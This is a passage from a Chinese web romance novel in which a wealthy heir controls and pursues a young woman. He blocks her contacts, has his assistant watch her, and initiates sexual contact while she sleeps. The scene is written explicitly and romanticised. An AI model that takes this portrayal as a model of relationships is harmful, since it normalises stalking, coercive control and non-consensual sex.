她清晰知道,她没有拉黑过任何人,那是谁呢?还有谁能拿到她的手机? 【这可能有些荒谬,但是我的确是没有拉黑你,我猜应该是另一个人?】 明与成:【是岑尽白吗?】 【我不太确定。】 其实舒颜的心中已经倾向于是他了。 明与成:【你跟他……是什么关系?你怎么会认识他?】 舒颜收到这个消息,没有立即回答前一个问题,而是注意到他后面的那一句“你怎么会认识他?”。 岑尽白为什么这样防着明与成?他应该是知道明与成与自己表白了,她忽然记起,当时明与成知道岑尽白身份时的神情。 她缓缓打下几个字: 【之前我妈妈在他家做保姆认识的,我跟他现在已经没什么关系了。】 明与成:【哦,这样啊,我说呢,你跟他没关系就好。】 舒颜盯着明成与发来的那几个字看了很久,咬了咬唇瓣上的肉。 【怎么了,你好像对岑尽白这个人,颇有微词?】 身边明与成打字的声音劈里啪啦,时断时续,对方正在输入中也在上面飘了好久。 明与成:【你现在跟他没关系真是太好了,岑氏是楠溪市数一数二的龙头企业,但是家庭环境出了名的混乱,听说……嫁到岑家的女人,大都英年早逝。这不是我说的啊!只是我听来的!】 舒颜还没细细读上面的字,对面又发来一大串。 明与成:【之前岑尽白找到我,威胁我不要接近你……舒颜,我也是有苦衷的。】 【现在好了,岑尽白要和方家的女儿订婚了,他也不会再缠着你了。】 舒颜在看到“订婚”这两个字眼,心脏停滞了那么一瞬。 是她想的那个方家吗? 【岑尽白要跟谁订婚?】 明与成:【方家的女儿啊,叫方芝。楠溪市富人圈子里传遍了,我刚好认识几个,岑尽白不是因为这个跟你分开的吗?】 …… 从图书馆出来,已经接近中午了,舒颜给Zero发信息,告诉他自己想走了。 Zero下来的速度很快。 在车上Zero也没跟舒颜说要去哪,与从旧城区来一样,Zero嘴巴巴的说个不停,用不太标准的中文在努力地逗舒颜笑。 “是吗?那你怎么不跑?”Zero刚好跟舒颜说岑尽白小时候吓跑很多小孩,只有Zero没有跑的事。 Zero摸了摸鼻子,有些不好意思,皱着眉笑:“舒颜姐姐,你可不知道,当时老师身上都是其他小孩往他身上扔的颜料,红的黄的绿的都在脸上,关键是他还笑,其他小孩觉得他被撒旦附体了,我胆子小,被吓到腿软,跑不了。” 不然,他也跑了。 舒颜:“岑尽白小时候那么让人讨厌吗?” 虽然现在也很坏,但是小时候能做到让所有小孩都讨厌,也是一种天赋吧。 Zero:“不是啊,其实我到那个学校时,老师已经在那呆了好久了,我不觉得他讨厌,那些人单纯嫉妒老师的天赋,说老师流着中国血。” 舒颜点点头,没再问。 Zero从后视镜中看她,并没有在她脸上看出别的情绪。 舒颜的手机响了。 舒颜:【颜颜,你知道吗?你爸的另一个亲生女儿,要嫁到你妈曾经做保姆的岑家了。】 舒颜:【你从哪知道的?】 她刚刚还特意搜了下,目前只是一些娱乐新闻的捕风捉影,并没有确切的消息。 舒芸:【你来看妈,妈就告诉你从哪知道的。】 【同样都是他方之清的女儿,你什么都得不到,只要靠你自己。】 舒颜关上手机,好久都不说话,呆呆地看着窗外。 Zero喊了舒颜好几声,都不见她回应。 他心里想,完蛋了,老师说他今天的任务就是让师娘开心,结果现在师娘看起来很忧郁的样子。 Zero也忧郁。 …… Zero将车子停在一栋酒店大楼下。 “舒颜姐姐,老师在里面等你吃午餐。”Zero转头对身后坐着的舒颜说。 舒颜下车后,就有人特意来接。 酒店内金碧辉煌,还有随着脚步落地的古典乐,每一眼看过去都是烧钱的地方。 身边的侍从领着她,一路乘电梯,她看到电梯在66楼停下。 “小姐,这边请。” 面前是铺着软毯、很长的走廊,两边都站着人。 舒颜有些拘谨,她所经过的每一个地方,所有人都在向她鞠躬问好。 正在她觉得自己格格不入,甚至想逃的时候,她的手被一只大手捉住。 “你好慢。”岑尽白声音中带着明晃晃的抱怨。 他的身体将她笼罩住,强夺了她所有的视线,修长的手指不由分地插入她的指缝,与她十指相扣。 最近见到他,他总是穿着西装,和之前在别墅相比,更加有距离感,也更加精致帅气。 他领着她走,她低着头,只能看见他被西装裤裹着的大腿,笔直有力,压着她时她根本不能动一下。 舒颜跟着岑尽白,被他领进一个房间,很大,入目就是一张大床。 她看着那张床,腿突然有点颤,想起昨夜的场景,她震惊地看向他。 那双蓝色的眼睛似笑非笑,紧接着开始解西装的扣子。 动作慢条斯理,指尖带着诱人的淡粉色。 “你想干嘛?”舒颜警惕地看他,又看了看紧闭着的门。 岑尽白将西装披在旁边的一个椅子上,靠近她,揉了揉她的头发,“想什么呢?只是叫你过来吃饭。” 舒颜确实转头就看见了摆在落地窗前的餐桌,上面放着色泽极好的饭菜。 岑尽白走过去拉开椅子,示意让舒颜坐下。 她坐下后,他的手还放在她后背的椅子上,忽然擦过她的头发,落在她的肩膀,动作很轻,她却觉得很重。 “你今天见了明与成?”他像是随口问道。 “聊了些什么,能跟我说说吗?” 他的手指若有似无地点着她的肩膀,又点了点她脖子上的大动脉,停留几秒又退开,如此反复。 舒颜浑身僵住,像是被他点了什么穴道。 聊了他的未婚妻。 “没聊什么。”她垂下眼低声回答。 不想多说的意思。 “嗯。”他应道,也不再追问,手上动作停下,转眼坐在她的对面。 他笑得还像之前那样温柔好看。 “你尝尝这个。”舒颜的碗里出现一个已经处理好的虾。 舒颜看着那虾,生理性泛起些恶心,将那虾拨去一边,没有要吃的意思。 岑尽白将她的这些动作收入眼底,笑容不变。 吃饭时岑尽白找了好些个话题,但舒颜有时不答,有时只是点头。 饭到中途,舒颜看向落地窗外的半座楠溪市,感觉整个人都悬浮起来,没有安全感。 岑尽白的笑容顿了顿,又很快恢复,“这是那海酒店的顶楼,会很安静,你要是喜欢这里,以后可以常来。” 舒颜将头转过来,没回他。 “我都忘了,你怎么会喜欢这个地方呢?这里太高了,你不是恐高?怪我没考虑周到。” “你怎么知道我恐高?” 岑尽白没回答她这个问题,反而笑着说:“你终于肯跟我聊天了。” 舒颜盯着他看了几秒,继而又低下头,挑了一个蔬菜吃。 舒颜的手机在一旁,忽然叮铃几声,舒颜本来不想回,但是那边不厌其烦。 她只好拿起手机看了一眼。 “是明与成吗?”对面的人忽然这样问。 其实不是明与成,是舒芸,因为她不回舒芸信息,舒芸就一直发,她只好开消息免打扰。 舒颜开了之后抬头看他:“明与成不是被你拉黑了吗?” “你发现了啊。” 岑尽白唇角的弧度更大了,没有丝毫动别人东西的抱歉意思,像一个玩了恶作剧被发现后还有些骄傲的小孩。 “你为什么要这么做?我不是已经拒绝过他了吗?” 岑尽白给她夹了一块鱼肉放在碗里,动作优雅闲适,“我怕他再打扰你。” “你看,我只是一个没注意,他就晃到你面前,给我们带来这样的烦恼。” 岑尽白皱了皱眉,话语之间是真的对明与成很嫌弃。 “他还跟你说什么了?” 舒颜:“你还做了什么吗?” 岑尽白看着她不说话 后笑着说:“当然没有。” 那个鱼肉舒颜也没有吃,而是放在一边,最后被岑尽白吃掉了。 两人后面再没什么交谈。 这样的状态一直持续到午餐结束,岑尽白叫侍从将餐桌收拾走,接着对房子里进行散味,以保证房内空气清新。 等人退出去之后,岑尽白跟舒颜说:“我下午还有和晚上都很忙。” 舒颜并不在乎这些,盯着房里摆着的栀子花看,点了点头。 “栀子花很像你。”岑尽白拿出一朵花瓶里的栀子花,花开得纯白雅致,绿色的根茎末端还带着水滴。 舒颜看着他的指腹揉着栀子花的花瓣,并没有用力,甚至带着些却莫名觉得那花有被蹂躏之感。 他缓缓走近,手里拿着那束花,皮鞋踩着地板,发出极其有节奏的声音,带着攻击性的脸上携着浅浅笑意,垂下头和她鼻息相缠。 “我等下就要走了,你确定不告诉我明与成和你说了什么吗?” 他温柔抚上她的脸,带着粘人的热度。 “不然我又要找他,他胆子好小。” 第46章 “真喜欢?非她不可的那种?” 离得这样近,舒颜只好仰头看他,“岑尽白,你以前真的很会装。” 岑尽白笑了一声,并没有反驳,抚摸着她的脸。 要不是他会装,她怎么会接近他呢? 连秋月苓都要和他一起装。 他的掌心就是她,这种掌控感给了他极大的满足感,比画出来一幅画给他的情绪冲击还要大。 她的脸颊触感极好,一双眼睛会勾人似的,一眨一眨地带着睫毛颤动,唇色因为刚刚喝了水,红润无比,看起来就很好吃。 觉察到岑尽白眸色越来越深,头也越来越低。 舒颜想要阻止他接下来的动作,无奈开口:“我们没有说什么,我只是感谢他送我的考研资料。” “那你把他删了好不好?” 舒颜惊讶地看他,第一个动作是远离他。 掌心温软的触感脱落,只余下抓不住的空气,这让他有些烦。 他克制地垂下手。 “岑尽白,你不觉得你现在变得有点胡搅蛮缠了吗?” 用她的手机将别人拉黑,现在又明面上让她把人家删了。 岑尽白看着她被气得有些红的脸,指尖一动,还是忍不住又摸上去。 舒颜打掉他的手。 岑尽白手背上传来疼意,却不在意,反愉悦地笑:“哪里胡搅蛮缠?你要是不想删也行,我不会逼你的。” 舒颜怀疑地看向他。 “好了,你那里应该已经打扫好了,我让Zero送你回去。”岑尽白转身将手里的栀子花插回去。 舒颜巴不得离开这里,岑尽白也没多留她,让人带着她下了楼。 舒颜的背影消失后,房间里传来碎玻璃的声音。 一分钟之后几个侍从进了房间,看见满地的碎玻璃和玻璃渣上的栀子花,噤若寒蝉。 年纪大点的侍从上前,恭敬说:“小岑总,别伤着自己,我们来打扫。” …… 舒颜一出来,Zero就在门口等着了,主动开车门让舒颜上去。 上了车,舒颜忽然问:“这里离市二院远吗?” Zero不知道舒颜为什么问医院,但还是回道:“不远,二十分钟就到。” “不舒服吗?” Zero一脸紧张,师娘要是不舒服,老师是不会让他好过的。 舒颜笑着摇摇头,显得面颊瓷粉:“没事,就是问问。” 刚刚她偶然看手机,舒芸疯了一样发来数十条消息,她有一瞬间的犹豫,但还是算了。 她跟Zero说:“走吧,回老城区。” * Zero将舒颜放在楼下就走了,说是有事。 舒颜还没进出租屋,就看见张奶奶和她老伴站在她门口向里面看,看见她回来了,两人笑容殷切,又带着羡慕。 “舒颜,你男朋友给你家重整的真好看,有福气哦!” 舒颜不明所以,岑尽白只是说要将房子打扫一下,但看张奶奶他们的反应,应该不只是打扫。 “隔这门口都能感受到这屋里的暖和,这地毯一看就是个好料子,不会还会散热吧?”张奶奶说。 舒颜往里看,都不敢相信这是自己家,简直是大变样。 地上被铺上了一层暖黄色的地毯,曾经有些脏兮兮的墙上,都被贴上了墙纸,桌椅沙发全换了,就连顶上的灯都被换成更大更亮的。 里面的人正在做着收尾工作,听见张奶奶说那地毯,回道:“这地毯是自热地毯,冬天铺整个屋子都暖和,在上面睡觉都没问题。” 张奶奶和她老伴更羡慕了,跟舒颜说她男朋友对她太好了,要好好抓住,别再闹小脾气了。 舒颜笑笑,等着里面的人做好收尾,将所有人关在门外。 她站在玄关那里,看着地上连颜色都温暖的地毯,犹豫之下脱掉了鞋,穿着袜子踩了上去,热意从脚底蔓延到身体各处。 这里已经不是之前那个破旧冰冷的出租屋了,因为她接受了岑尽白,它也被染上了奢靡之气。 连最冷的阳台那里,都被安上了挡风玻璃,还有几盆本该开在春天的栀子花。 舒颜猜测,这一定是岑尽白的意思。 但是,强让栀子花盛开在冰天雪地的季节,不知道什么时候就谢了。 岑尽白就是在这时打的语音电话,舒颜愣了下,都不知道什么时候又加上他的好友了。 他们分开不过一个小时。 舒颜还是接了电话。 “你在干嘛?” 舒颜环绕了一下陌生的房间:“欣赏你的新房子。” 岑尽白很快反应过来她说得是什么,在那边轻笑:“舒颜,不要没苦硬吃。” 舒颜沉默了会儿。 想了一下之前自己在他面前究竟是有多不识好歹。 听筒那边传来开门声。 岑尽白说:“我这边*有点事,挂了吧,我……我等会儿联系你。” “你在跟谁打电话?”是一个浑厚中带着森冷的男声。 岑尽白那边没主动挂断,舒颜也没有,通话一直在继续。 岑尽白起身,喊了一声“爸”。 “昨天见过的顾野藤,他刚从国外回来,在楠溪市正缺合作对象。” 岑方启是知道顾野藤的,白手起家的狠角色,“记得跟顾野藤打好关系。” “今天上午和方家的小女儿聊得好吗?” 岑尽白给岑方启让了位置,自己坐在一旁,即便在自己父亲面前,也是不卑不亢:“我现在还没有结婚的打算,与方家的联姻,还是算了吧。” “哪能就这么算了,我跟方家老太太说好了,方芝喜欢你。方家和岑家联手,这楠溪市你还能站不稳?” 岑尽白没说话。 岑方启试探又带着警告地说:“听说,你跟方家那个私生女,还没断干净?” 岑尽白立刻抬起头看自己的父亲,蓝色眸子里情绪深藏。 父子俩唯有这双眼睛是极其不像的。 “她不是私生女,她妈妈是方之清的前妻。” 岑方启不在意地笑笑:“真喜欢?非她不可的那种?” 另外一边的舒颜听着岑方启这句看似像玩笑一样的话,不自觉握紧手中的手机。 “没有非她不可,她很有趣。”听筒那边传来男人淡漠的回答。 通话在这里挂断。 岑尽白继续说:“但是现在要是没有她,我觉得这个世界都没有意思。” 岑方启弹了弹手中的烟,拍了拍岑尽白的肩膀:“要是这样,那你就保护好她。” “娶谁都一样,重要的是,把最重要的那个女人保护好。”岑方启流露出怅然。 “但是你刚回国不久,没有人觉得你的能力能胜任岑氏继承人,方家的帮助,你还是要考虑考虑。” 岑尽白看向那幅挂在墙上的海浪卷花的画:“我想要的,我自己拿来。” …… 舒颜握着手机的指尖微微泛白,等到手上传来又麻又疼的感觉,她才反应过来。 她环视着这间变得干净温暖的小屋,有一种自己被锁在这里的恍惚感。 * 晚上,舒颜适应着突逢巨变的屋内,拿出考研资料开始做。 但是今晚她总是静不下来心,以前做过一遍的题,今天做竟然又错了。 她的视线在电脑上考研课程的广告掠过,在搜索框中输入几个字。 什么工作是别人无法干涉辞退的? 搜索结果蹦出来的都是考公考编的广告。 是了,也是她傻,考研考不上,考公考编就能考上了吗? 手机里进来了几条消息。 明与成:【明天来图书馆吗?你之前不是一直想考我们学校,我这刚好有我们学校这两年的招生方向,要看看吗?】 舒颜想起今天中午岑尽白的质问,拒绝了明与成。 明与成:【那你去图书馆可以跟我说,我离图书馆很近,可以帮你占位置。】 他自己学校的图书馆不是更近? 要是他知道岑尽白现在跟她的关系,还会这样吗? 不过这些舒颜都没说。 睡觉之前,舒颜看见床头上放着一个粉色的箱子,应该是那些人打扫时忘记从床底下捞出来的。 想到里面是什么,舒颜觉得脸热。 她将那箱子打开,里面放着一大一小的**工具,还有一张岑尽白之前写过的纸条。 那张纸条只是她随手放进去的,当时觉得没什么,现在想到岑尽白可能碰过这些东西,她都想把这些扔了。 粉色的纸条被撕成碎屑,扔在了垃圾桶里,和之前那个栀子花发卡一个归宿。 昨晚岑尽白发现她扔掉那个发卡,可劲的折腾她,最后她求饶说那个发卡可以捡回来,他说她不要的东西,那就不要。 临睡之前,那个粉色箱子就放在床头,舒颜想着这样可以提醒自己第二天记得扔掉它。 结果半夜的她对于自己这个行为,肠子都快悔青了。 …… 舒颜流着汗醒的,醒来身体一阵酥麻,贴着她,电流穿过她的四肢百骸。 像在做梦。 没有开灯,她快分不清这是梦境还是现实。 有什么声音在她的耳边嗡嗡响个不停,她情不自禁想要抓住那里作乱的东西,却被按住动弹不得。 现在的动作即便是在梦里也是让人难以忍受的。 可那人就是这样恶劣,她仿佛能感受到那人灼热的视线。 “岑尽白——” 她双手什么都抓不住,下半身还被控制着,这样让她很没有安全感,一双手在黑夜中乱抓。 什么都抓不住。 恐惧和刺激参杂着,会让一个人懦弱的哭泣。 她哭得断断续续,像一只刚出生的小猫。 可能是真的看她太可怜了,岑尽白叹息一声,一只手抓住她的两只手,另一只手还在想着刁钻的角度让她舒服,将汗津津的人捞进自己怀里。 “好了,我看你把箱子拿出来,以为是你想用呢,刚刚不舒服吗?” 怀里的人还在颤,他亲了亲她的眼睛,睫毛上都是汗。 第47章 “你叫她什么?” 怀里的人还在颤,他亲了亲她的眼睛,睫毛上都是汗。 “你……你先把手拿开!” 岑尽白看她这受不住的样子,笑声放荡,慢腾腾将手拿开。 跟着他的手一起拿出来的那个,上面还泛着水。光,好像还有还有一滴要落下来,像是一根粘。稠的丝线。 他用的是那个小的。 舒颜不想看,将头埋进岑尽白的胸口。 余韵在慢慢消退。 一只大手也在贴心地轻抚着她的背部。 另一只手又在漫无目的地、安抚着另一处,要进不进的。 舒颜反应得快,直接拦住。 “别……” 岑尽白咬着她的耳朵,被拦住的那只手握住她的手,上面黏黏糊糊带着她的东西。 但是她还是有点嫌弃。 “为什么别,刚刚叫得很好听,还想听。”他的声音又低又哑。 舒颜真想打他一巴掌,但是又实在没有力气。 她只好说点别的什么转移话题:“你不是说今天不回来了吗?” 岑尽白愣了下,黑暗中她看不见他的眼神,只能感受到他的身体紧绷了那么一秒,后面又放松下来。 她很熟悉他身上的气息,能很快认出,爬上她床的人,指。女干她的人就是他。 他将她搂得更紧,接着拽着她的手,让她与他面对面,然后埋进她的胸口。 舒颜每次都对他这一行为有些无语。 他没有频率地乱闻一通,双手锢住她的腰,让她的腰被迫直起来。 两人身高差实在大,他还非要做这样为难她的动作。 “我做了一个梦,梦里你突然就不见了,我被吓醒了,过来看看你有没有不见。”岑尽白的语气很平静,就是在讲他为什么来这里的原因。 但是他的手劲却很大。 舒颜无法说出安慰他的话,没有办法像哄小孩一样跟他说那只是一个梦,梦都是反的。 “我们总是要分开的。” 他也说了,直到他对她不感兴趣了,她就可以离开了。 埋在胸口的人没了动作,连带着腰上的手都松开了。 就在舒颜以为自己能喘口气时,她被他放倒,双手被锢在头顶,湿热的气息喷洒在她的脸上。 她看不见他,有没有灯光的原因,剩下的就是被捂住了眼睛的原因。 紧接着就是堵嘴的吻。 …… 舒颜曾经说过让他睡在地上的话,今天实现了,只不过她也被迫睡在地上。 很屈辱的姿势,想要从他身边爬走,又被拽住了脚踝。 * 第二天,她没躺在温暖的地毯上,而是在床上。 连续两天被按着*,谁也受不了,舒颜根本不想下床。 手机里的短信随便瞄了一眼,才发现好几个联系人给她发了信息。 省去那些日常她都不会回复的,还剩下Zero和岑尽白的。 岑尽白:【醒了吗?早餐我让Zero放在你门口了,记得去拿。】 Zero:【舒颜姐姐,早饭放在门口了,睡醒了可以拿哦。】 她回复了Zero,说谢谢他。 岑尽白的消息石沉大海。 床头柜上面的那个粉色箱子,里面的东西被人洗干净放好。 舒颜将那个箱子啪得一声摔在地上。 等心口的那口气差不多消了又捡起来,忍着腿间的不适应将箱子仍在楼下的垃圾桶。 门外的早餐被拿进来。 跟昨天的不一样,送得是昨天她多吃了几口的那几样早餐。 舒颜秉持着不浪费食物的心态将这些吃了。 即便她对自己这次考研没什么把握,但还是像往日那样,拿出了英语和政治开始背。 背得嗓子都干了,她随手撕下一张纸,无目的地折叠它。 小时候被舒芸锁在房间里学习,能放松的就是用草稿纸折很多东西,从小动物到花草树木不等。 不过后来被舒芸发现了,那些手工被舒芸当着她的面烧光了。 从那以后,她再也不折了。 可能是现在舒芸没在身边,可能是因为不用再去上班,舒颜在自己还没察觉的情况下,折了一朵小白花。 和岑尽白送的那朵一样。 纯白到极致,显得脆弱,轻轻一折就毁了。 舒颜看了一会儿,将那朵花扔到垃圾桶里。 中午Zero又来了,舒颜让他进了门。 Zero问她要不要跟岑尽白一起去吃饭。 昨天的午饭她吃得并不是很舒服,所以说:“不去了。” Zero也没勉强,“那舒颜姐姐想吃什么?我出去买吧。” “别买了,冰箱里不是有很多吃的,我随便做点,你也留下吃点吧。” 对于岑尽白她可以没什么好脸色,但对于Zero这个小孩子,她不会迁怒。 因为大多数Zero都是听岑尽白的。 舒颜是和舒芸分开后,才开始自己学会做饭的,虽然不至于色香味俱全,但是还算能下口。 清炒了个西兰花,西红柿炒蛋,土豆丝炒肉,都是中国家庭的常见菜。 舒颜端上来,闻着还挺香。 Zero先拿出手机拍了张照,随手发给了岑尽白。 然后端起米饭开始吃。 他吃过不少中国菜,但是这种简单又充满烟火气的,他没吃过。 “好吃!”外国人喜欢什么会夸张化,夸人不留余地,显得真诚。 Zero的样子将舒颜逗笑,她还挺高兴有人喜欢吃她做得菜的。 “那你多吃。” Zero已经顾不得自己的手机一直在嘟嘟嘟地响了。 这边的岑尽白刚刚结束了一场会议,会议上那些老东西指着他说他根本不能经营好公司的新项目。 骂他在国外除了学了画画,连最基本的尊老爱幼都没学会。 岑方启也在一旁听着,这是公司的大股东,他没制止。 岑尽白忍受着他们的阴阳怪气,神色如常地结束了这场会议。 正坐在办公室按着太阳穴,手机来了信息。 Zero发来一张朴素的饭菜图,图片没什么色彩冲击,隔着屏幕也能感受到这顿饭的平常。 但是他敏锐地将这张照片放大放大再放大,因为这张桌子是他挑选的,上好的花梨木。 那这些菜,是谁做得一目了然。 他关上手机,手机在他修长的手指间转了个圈。 岑尽白的神情若有所思,复而又打开手机。 …… Zero刚吃了半碗米饭,跟舒颜聊着国外的光景,因为他发现,舒颜好像对国外很感兴趣。 确实感兴趣,因为舒颜从来没有去过国外。 正聊得起劲,岑尽白打来了视频电话,吓得Zero筷子都掉了。 “老师?” 舒颜弯腰捡起筷子,听到岑尽白这声老师,动作停顿一下。 “在干嘛?”岑尽白的脸怼在屏幕上,即便是这样的死亡角度,仍旧好看到令人发指。 Zero觉得老师的脸色不太好看,眉眼间像是在压着什么,但是又好像跟平常一样。 “我在跟舒颜姐姐吃饭。”Zero笑得阳光,大男孩一般,口中的姐姐也叫得很甜。 还将手机绕了一个圈,正好看见舒颜也坐在桌子上,正要给Zero添饭,屏幕转得太快,她都没抬眼看他一眼。 “你叫她什么?”声音中带着冷意。 Zero愣了下,答:“舒颜姐姐啊。” 舒颜不让他叫她师娘,他这样叫有什么不对。 “不要这样叫她。” “那叫什么?” 岑尽白烦躁地松了松领带,冷淡说:“自己想。” Zero暂时想不到,岑尽白也没给他反应的机会,用命令的语气跟他说:“我还没吃饭,你去宴羲楼点两份餐送过来,二十分钟之后送过来。” 接着也不管Zero的震惊哀嚎,直接挂断了电话。 舒颜也听到了他们在说什么,她只觉得这样的岑尽白简直恶劣极了,就是舒芸口中欺负人的有钱人。 才吃到一半的饭被迫中断,Zero急急忙忙要走。 “舒颜姐——,”Zero脱口而出的称呼硬生生止住,“我先走了,不然来不及。” 舒颜皱着眉,很不满岑尽白对他的命令:“你为什么那么听他的话?” Zero回得随口:“老师救过我的命。” 舒颜也不知道这是玩笑还是真话。 舒颜做得是两个人的量,现在Zero走了,还剩下那么多,舒颜也吃不下,索性就放在厨房,留着晚上吃。 …… Zero赶到岑氏大楼时,岑尽白正在办公室跟什么人通电话,聊什么合作的事情。 他在旁边等了那么一会儿,等岑尽白挂断电话。 Zero将两份饭放在办公室的一个小桌子上,岑尽白挂断电话后走过来,打开餐盒开始吃。 Zero以为岑尽白有什么急事,用复杂的眼神看着他。 岑尽白挑眉,看着另一个没拆的餐盒,问Zero:“不是饿了,怎么不吃。” 这个饿了,指的是Zero因为“饿”,在舒颜那吃饭。 Zero反应过来,脸上闪过害怕,打开餐盒猛猛干饭。 “以后别进她房间,她让你进去也不行。” 岑尽白这句话,让Zero憋着嘴里的饭剧烈地咳嗽起来。 而吓人的人还在看着手机,面色凝重。 * 舒颜一整天都呆在出租屋里,直到晚上才出去散了个步,巷子里没什么人,之前她还会害怕,现在只觉得出租屋闷得慌,想出来透个气。 原来坏了的路灯不知道什么时候修好了,比之前更加明亮,路上的小水洼也能看得清清楚楚。 正走着,前面迎面走来一个人,在对上舒颜视线的那一秒,他立马跑掉了。 但是舒颜还是能认出,那就是之前和明与成打架的那个小混混。 她现在是一个人,跑得不应该是她吗? 怎么他反倒是像老鼠遇见猫一样。 第48章 “你怕我逃跑吗?” 舒颜压下心中疑虑,又往前走,再走几步就能出巷口。 不知道那个卖淀粉肠的阿姨还在不在。 幸好还在。 她走过去,阿姨看着她又惊又喜。 “来了,小姑娘。” 舒颜虽然不经常来,但是因为这小姑娘长得乖巧又漂亮,上次还关心她手上的冻疮,她对她记忆深刻。 舒颜嘴角带着浅浅的笑意:“阿姨给我包一根。” “好嘞!” 但是还没等淀粉肠炸好,远处开来一辆闪着灯的车,车身黑亮。 下来的人融不进夜色里,自带气场地走过来。 舒颜呆呆地站在那里,直到岑尽白站在她面前,她仰头去看他才回过神。 “你怎么,又来了?” 岑尽白皱眉:“不欢迎我吗?” 舒颜不作回答。 这个答案很显而易见。 但是岑尽白就像是一个顿感很强的人一样,感受不到她的抗拒。 炸好了的淀粉肠被裹上一层辣椒粉,放在一个白色的小袋子里,递了过来。 “小姑娘,你的淀粉肠。” 卖淀粉肠的阿姨脸上带着犹疑,她看到过好多次小姑娘和这个气度不凡的男人站在一起,但是都看起来不是很开心。 但是她也不能干涉人家小姑娘的感情。 舒颜还没来得及接,岑尽白就说:“不好意思,我们不要了。” 然后拉着舒颜走了。 巷子口最近经常停着一辆价值不菲的车,谁都不敢走近,生怕磕着碰着了,巷子里的人都知道自己赔不起。 他们议论,有钱人在这里养了一个漂亮的女孩。 但是也疑惑,为什么要在这样穷的地方养,连车子都开不进去。 岑尽白的手先是拽住了她的手腕,然后滑向她的掌心,手指嵌入她的指缝,与她十指相扣。 舒颜是被他带着走的。 “为什么不让我拿?”她还在纠结刚刚的淀粉肠。 她连吃一个淀粉肠的权利都没有了吗? “那个不健康,少吃为好。”他说得云淡风轻。 轻而易举就替她做了决定。 “今天做了什么?”岑尽白似闲聊一般开口,手指和她的手指玩着你追我赶的游戏。 “你不是都知道吗?”舒颜的声音很轻,但仔细听还是能听出来不满。 “我都不知道你会做饭,还是给Zero。” “他不是你派来监视我的吗?” 前面的路灯好像又坏了,闪了好多下,忽明忽暗中带着些惊悚的意味。 岑尽白不知道怎么想的,忽然在这里停下来,将她按倒在自己胸口,她能清楚听见他的心脏在砰砰砰得跳动。 “不是监视,是保护。” 舒颜也不想就这个问题跟他纠结,就算是她说出自己的意愿,他也不会在乎。 两个人牵着手,在如墨的黑夜下,就像是一对平常的小情侣那样走到了出租屋。 岑尽白在灯光下打量着这间小屋,和之前比,已经是大变样,昨晚是匆匆赶回来,根本没来得及打量。 虽然还是不能让他满意,但比之前好太多,暂且还能住人。 今早睁开眼看见怀中人,他还有些怔愣。 只是因为一个荒诞的梦,他就赶了将近一个小时的路,只为了看她一眼。 感觉有什么正在控制着他。 他之前想弄清楚她身上究竟对他有什么吸引力,后来不了了之,到现在不清不楚。 第一次有些迷茫的他,根本不敢等她醒来,又匆匆离开。 在这个间隙,舒颜已经走进厨房,准备热一热中午剩下的菜,作为晚饭。 她也没问岑尽白有没有吃饭,默认他吃过了来的。 等舒颜热完饭出来,看见岑尽白坐在沙发上,拿着一朵白色的纸花,正在细细打量。 舒颜端盘子的手差点没稳住。 “你翻我垃圾桶干嘛?” 岑尽白完全没有被发现翻别人垃圾桶的尴尬,而是笑了笑,连弧度都是温柔的:“这是你折的吗?很好看。” 他的夸奖真心实意。 其实这只是舒颜随便折的,这张草稿纸都是不完整的,折出来的花也是残缺的。 但是岑尽白眼瞎了一样夸好看。 舒颜将热好的菜放在桌子上。 听见岑尽白问了一句:“可以送给我吗?” “我已经扔在垃圾桶了。” 岑尽白:“没事。” 舒颜忍不住看他一眼,他的眼神正停留在那朵纸花上。 人长得好看,会给人一种看垃圾都神情的错觉。 他将那朵纸花珍视地放在桌上,转过头来对上她的目光。 舒颜又将目光转开,摆上一双碗筷准备吃饭。 岑尽白认出这是舒颜中午做得饭。 他扫了一眼,发现没有多余的碗筷。 “我也没有吃晚饭。”他盯着她平静陈述。 舒颜神态自若地夹了一个西兰花,“这是中午的剩菜,而且不好吃。” 这是真话,她可不想糟蹋他金贵的胃。 岑尽白:“我很饿。” 舒颜抬头看他,他西装革履,贵气又散漫地坐在那里,一副不食人间烟火的样子。 舒颜妥协,起身又拿了一双碗筷。 岑尽白屈尊降贵般地走过来。 剩菜不仅失去了刚出锅时的色泽,口感也不新鲜,但是岑尽白吃得面不改色,嘴角似乎还噙着一丝笑意。 舒颜当自己出现了幻觉。 岑尽白吃饭时很斯文,这是她昨天就发现的,他要是不想说话,完全可以把对面的他当作是一幅画欣赏。 不过舒颜不允许自己沉迷于他的美色。 天使面孔,根本看不出他内心的恶劣。 …… 两人吃过饭,舒颜就将自己关在了卧室,岑尽白一直在跟什么人通电话,看起来很忙的样子。 察觉到岑尽白进了卧室,舒颜“啪”得一声将电脑合上,警惕地看向岑尽白。 她合上电脑时一瞬间的慌张被岑尽白收入眼底,但是他并没有在意,像是什么都没看见一样走过来。 然后抱住她。 舒颜身体僵硬起来,想起前两晚的记忆,害怕地颤了颤。 岑尽白像是知道她所想,安慰道:“今晚什么都不做,只是抱饱你。” “我明天不出去,你有什么去的地方吗?” 他是站着拥着她的上半身,顺着她柔顺的发,动作很温柔。 舒颜闻着他身上的气息,沉闷说:“没有想去的地方。” 他轻笑,像是很满意她这个回答,“那好,那就我们两个人,一直呆在一起。” 岑尽白很守诺,说不做什么就不做。 舒颜这一觉睡得极其安稳。 她身边的人不安稳。 怀里的人睡得很熟,像是很累一样。 岑尽白一直这样盯着她,眼里没有情绪,但又不肯闭上眼,痴痴看着,就算是这个姿势已经让肌肉不舒服了,他也没换。 他又看向她今晚合上的电脑,神色难辨。 转而将视线移到她睡得恬静的脸上。 就算是她生出离开的想法又怎样,她逃不出的。 * 舒颜醒来的时候,身侧已经没人了,她以为他已经走了。 正准备去客厅喝点水,没想到岑尽白在厨房,厨房太小,看着都容不下他那个大高个。 她愣愣地看着男人在逼仄的厨房里忙碌的背影,像是被什么钉住了,一动不动。 直到岑尽白转头。 他冲着她温柔地笑。 “冰箱里没什么可以吃的了,还剩下几个鸡蛋和一些面粉,我试着做了些早餐,你尝尝吗?” 舒颜回神了。 他做得是最简单的鸡蛋面,看起来清淡又健康,很适合早上的胃。 舒颜洗漱好坐下喝了口面汤,问他:“你还会做饭?” 她纯纯好奇,认为岑尽白这样家世的人,都是衣来伸手饭来张口的。 “在国外学会的。”岑尽白淡淡说。 舒颜不再问了,因为Zero和她说过他在国外的事情,原来他的父母,真的这样狠心。 饭才刚吃到一半,岑尽白的手机又响了。 他拿起手机,看了眼正在吃饭的舒颜:“你先吃,吃完把碗放那就好。” 